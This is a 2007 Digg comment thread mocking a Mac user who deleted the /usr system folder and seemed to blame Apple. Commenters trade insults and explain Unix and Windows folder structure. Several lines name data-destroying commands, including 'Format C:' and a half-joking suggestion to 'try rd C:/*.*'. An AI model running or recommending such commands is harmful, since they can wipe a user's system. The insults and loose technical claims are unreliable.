    • AnEmbodiedMind, on 10/12/2007, -1/+3> Change the folder permissions so he cant delete the folder, maybe have the OS pop up a dialog that tells you user 'we dont let you screw up your Mac

      It does!
    • grayapple, on 10/12/2007, -0/+1Try running the 'Format C:' command inside of CMD while running windows... your thrown up with an error.

      When you try to delete somthing important to OSX (and you arn't logged in as /root) the same thing happens, your thrown up and error and it can't be done... unless you're root, but no one logs in as root anyway.
  • myfanwy, on 10/12/2007, -2/+2well, to be fair, he doesn't actually say he thinks this was apple's fault, and the guy does explain that he could have paid more attention/done more research
    inaccurate. who cares
  • n88n, on 10/12/2007, -3/+1I am a PC guy and do not know much about mac's, but I would imagine it is still impossible to have tow folders with the same name, right? So if he knew anything he should have been able to figure out that if the computer is running then that folder is probably the right one. No?
    • rdoger6424, on 10/12/2007, -1/+1on a mac:
      /usr/ = unix system resources
      /Users/ = each user's home folders and such
      but the /usr/ folder should not be visible normally
    • benitojuarez, on 10/12/2007, -0/+2in windows speak,

      /usr/ = c:/windows and/or system32
      /Users/ = c:/documents and settings/username e.g, tom, dick, harry.
      but the /usr/ folder should not be visible normally, like the message you get in a fresh install of xp when going into c:/windows "chnaging files in this folder can result in system instabilaties click here to view files" or some such.

      i used / because digg filters out the opposite slash marking.
  • rsplatpc, on 10/12/2007, -1/+4hahahha did you all catch this comment on the page?

    "I then called my close friend Phil who manages Mac IT support

    Close friend… mm hmm... http://youtube.com/watch?v=AJzEnqWmRdg

    Except this isn’t, actually, pretty common. Indeed, nobody’s business but yours, Mr. Bookspan. "
  • Khemikl, on 10/12/2007, -0/+3It's people like this that are turning the world into a "nanny state" if you don't know what you are doing don't bitch when it goes wrong. There are plenty of people who have messed up their system by meddling with it and don't weep onto the web about it.

    Maybe this is nature's modern way of telling you to go pat the hungry lion.

    Evolve you idiot.
    • knetworx, on 10/12/2007, -0/+2Natural selection at its best. Perhaps we'll be seeing this guy win a Darwin award in a few years?
  • hackntossh, on 08/27/2008, -2/+1when you tried to delete the usr folder and OS X asked you for your administrator pswrd you think that might have been a clue that maybe, just maybe, you were in over your head?
  • rsplatpc, on 10/12/2007, -1/+29Hey guys, I was using a 3rd party baseball bat to clean the dust off my G4, now the computer is smashed. ***** APPLE!
  • Jeezoflip, on 10/12/2007, -1/+3"Knowing that I already have a Users folder and the multiple Library folder(s), it seemed reasonable to delete it."

    -hahaha, complete unix nub. :-P
    • j01101010, on 10/12/2007, -0/+1No, I think we need a different word for this guy. I'm very new at Unix and before I even started messing with learning commands I learned about the directory structure of Linux (Ubuntu to be exact). Thats how I know how big an idiot this guy is. I learned enough to know not to delete /usr in my first 10 minutes of learning about Unix.

      So, back to my point, what should this new word be?
  • LeonardNimrod, on 10/12/2007, -1/+2You have to use Terminal.app (or install an app that shows you hidden files) in order to even see /usr. But to delete it you have to use sudo or activate root, which is inactive by default.

    That being said, I guess I can understand a novice *nx user deleting something like this by accident, but I can't fathom how he thinks it's Apple's fault.
  • rnguyen, on 10/12/2007, -0/+1Just goes to show that nothing is dumbass proof. Shut the ***** up, restore from backups and stop deleting folders you don't know about.
  • srg13, on 10/12/2007, -2/+6That's like deleting your Windows directory or deleting some random registry entries on a PC and blaming Microsoft...
    • wageslaven, on 10/12/2007, -0/+1Or, clicking "yes, install this app" then complaining that malware is MS's fault.
    • SanityInAnarchy, on 10/12/2007, -0/+0To an extent, that one is. Apple has the right idea here -- every button actually says what it does, which forces you to have a clue. For instance, when he deleted /usr, I'm sure he had two options, at least: "Delete" or "Don't delete".

      Microsoft, and the rest of the world, likes to put a Yes/No or OK/Cancel button on everything, and assume that users actually read the dialog. Well, I do, but most get numb to them very quickly (especially with Vista and UAC -- yuck), and end up just clicking "OK" or "Yes" to everything without reading it. Eventually, it gets so bad that they don't even notice or remember there was a dialog.

      So if there were options here such as "Install software" or "Cancel" -- yes, even a Cancel -- it might be an extra little nudge. It might mean you at least know you installed software, which is a start, at least.
  • teamlouish, on 10/12/2007, -1/+3People need to get in the habit of RENAMING the folder first (or moving it to an external drive), rebooting and making sure everything runs fine before deleting system file. I agree with zhulien, I cant stop laughing at the fact this guy would even admit he did this.
    • Me1000, on 10/12/2007, -0/+3What about the fact that he claims it isn't his fault?
  • ErrorS, on 10/12/2007, -8/+1hah, you guys can cripple a computer with the press of a single button. You haven't been able to do that on PCs for years.

    Don't underestimate idiots (This guy obviously IS one) but I thought OSX was the idiotproof OS? Macs being idiot proof computers?

    Obviously, that isn't the case... and before you argue with me about this or digg me down, ask yourself these two questions:

    1. Was this man an idiot?
    2. Did this idiot break his computer?

    So, therefor, far from idiot proof.
    • rdoger6424, on 10/12/2007, -1/+2drag the windows file to the trash. Same concept.
      or, for a terminal equivalent, try rd C:/*.* in the command prompt.
      If anything, OSX is more secure because you have to get out of your way to delete any critical system files.
  • knodi, on 10/12/2007, -2/+6People blame Microsoft for there user errors when using Windows.
    • Me1000, on 10/12/2007, -0/+1But they also blame them when they know what they are doing and winders wont let them!
  • nbcivic, on 10/12/2007, -0/+3Do people ever take responsibility for their own actions anymore?

    Next thing we're going to see is another "The cat destroyed my mac" post.
  • bouche, on 10/12/2007, -5/+2where in the hell was he blaming apple? Looks like it is an informative article that is warning people not to trust your OS too much.

    the inaccurate title seems to have people not really reading the article yet commenting negatively on the guy.
    • AnEmbodiedMind, on 10/12/2007, -0/+4@bouche
      Did you read the article? He does blame apple.
      The article is begins: "And They Said the Mac Was Intuitive...Well, it definitely isn’t in one regard."

      Then later: "Was this folder mentioned in the Mac documentation? Nope...this is not the intuitive and simple way Macs should work."
    • bouche, on 10/12/2007, -0/+1yeah, it's called a warning. not a rant about apple losing his data. this is pathetic.
  • Velocity211, on 10/12/2007, -2/+5Crap, I just deleted my WINDOWS folder and now my computer won't boot, damn you Microsoft it's all your fault!
  • mi2ca, on 10/12/2007, -1/+3No one wants to take responsibility for their own ***** ups these days. This is the kind of douche bag that would try to iron his clothes while wearing them and then try to sue General Electric for making a defective product.

  • Jammerdelray, on 10/12/2007, -4/+1"Let's blame M$ instead for locking files on my OWN harddisk! Should I be allowed to EASILY delete files and crash my OWN computer whenever I feel like it?"

    Guy that said above is no different than the morons that called "OSX OS*X
  • Warptera, on 10/12/2007, -2/+4"Imagine if I was a novice user...yikes!"

    So many things wrong with this statement. Well, actually just one thing.
  • nitrojunky24, on 10/12/2007, -2/+2maybe he will claim that he thought it meant USSR? therefore thinking since the ussr doesn't exist anymore that he doesn't need it any more? or maybe he is just stupid.
  • ropers, on 10/12/2007, -0/+2Your education awaits, Mr. Bookspan:
    http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard
  • fani, on 10/12/2007, -0/+1If you go to a car garage and the mechanic accidentally exposes a critical car part and then you go and remove it and have an accident, whose fault is it ?
    The car manufacturers ? the mechanics or the person who decided to remove it without bothering to find out what it is ?

    Think about how protected he was that Apple hid the folder in the first place. Responsibility is the name of the game.
    We here in America have started becoming prone to blaming others easily for our mistakes...
    • Me1000, on 10/12/2007, -1/+1"they should has hidden it better"
      [/sarcasm]
    • SanityInAnarchy, on 10/12/2007, -1/+0"Started to?"

      You must be new here.
  • RogerStrong, on 10/12/2007, -1/+9Back around 1991 one of my co-workers was on the phone, walking a customer through removing the software for a Star multiport from an NCR Tower. (A multiport let us run seven serial terminals or printers through a single leased phone line.) The program was stored in /star.

    The command given to the customer was "rm -r star". It took a full fifteen minutes for him to figure out why it was taking so long.....
  • slor90210, on 10/12/2007, -5/+0At least Microsoft asked me, "You are about to delete /usr. Allow or Deny?"

    I blame Microsoft for letting me click Allow. Tomorrow I'll bitch about it because it keeps asking me Allow or Deny. Maybe if I download some shady junk software from a seedy web site, and I'll Allow some spyware to run. Then I'll blame Microsoft.
  • operand, on 10/12/2007, -2/+3Do people not read the stories that accompany the posting.

    "For those who know much more than I, enjoy the laugh at my expense."
  • AdebisiTheGamer, on 10/12/2007, -5/+0There is no such thing as an idiot proof computer. As this article has shown.

    Its to bad Apple tries to market itself as one. But, to be far, so does Microsoft.
    • Me1000, on 10/12/2007, -1/+2Please show me that ad,
    • PathDaemon, on 10/12/2007, -2/+2It was in the series of original Mac ads... showed an IBM manual next to a Macintosh manual.
    • Me1000, on 10/12/2007, -1/+1^ so it doesnt apply to OS X (with a unix core)
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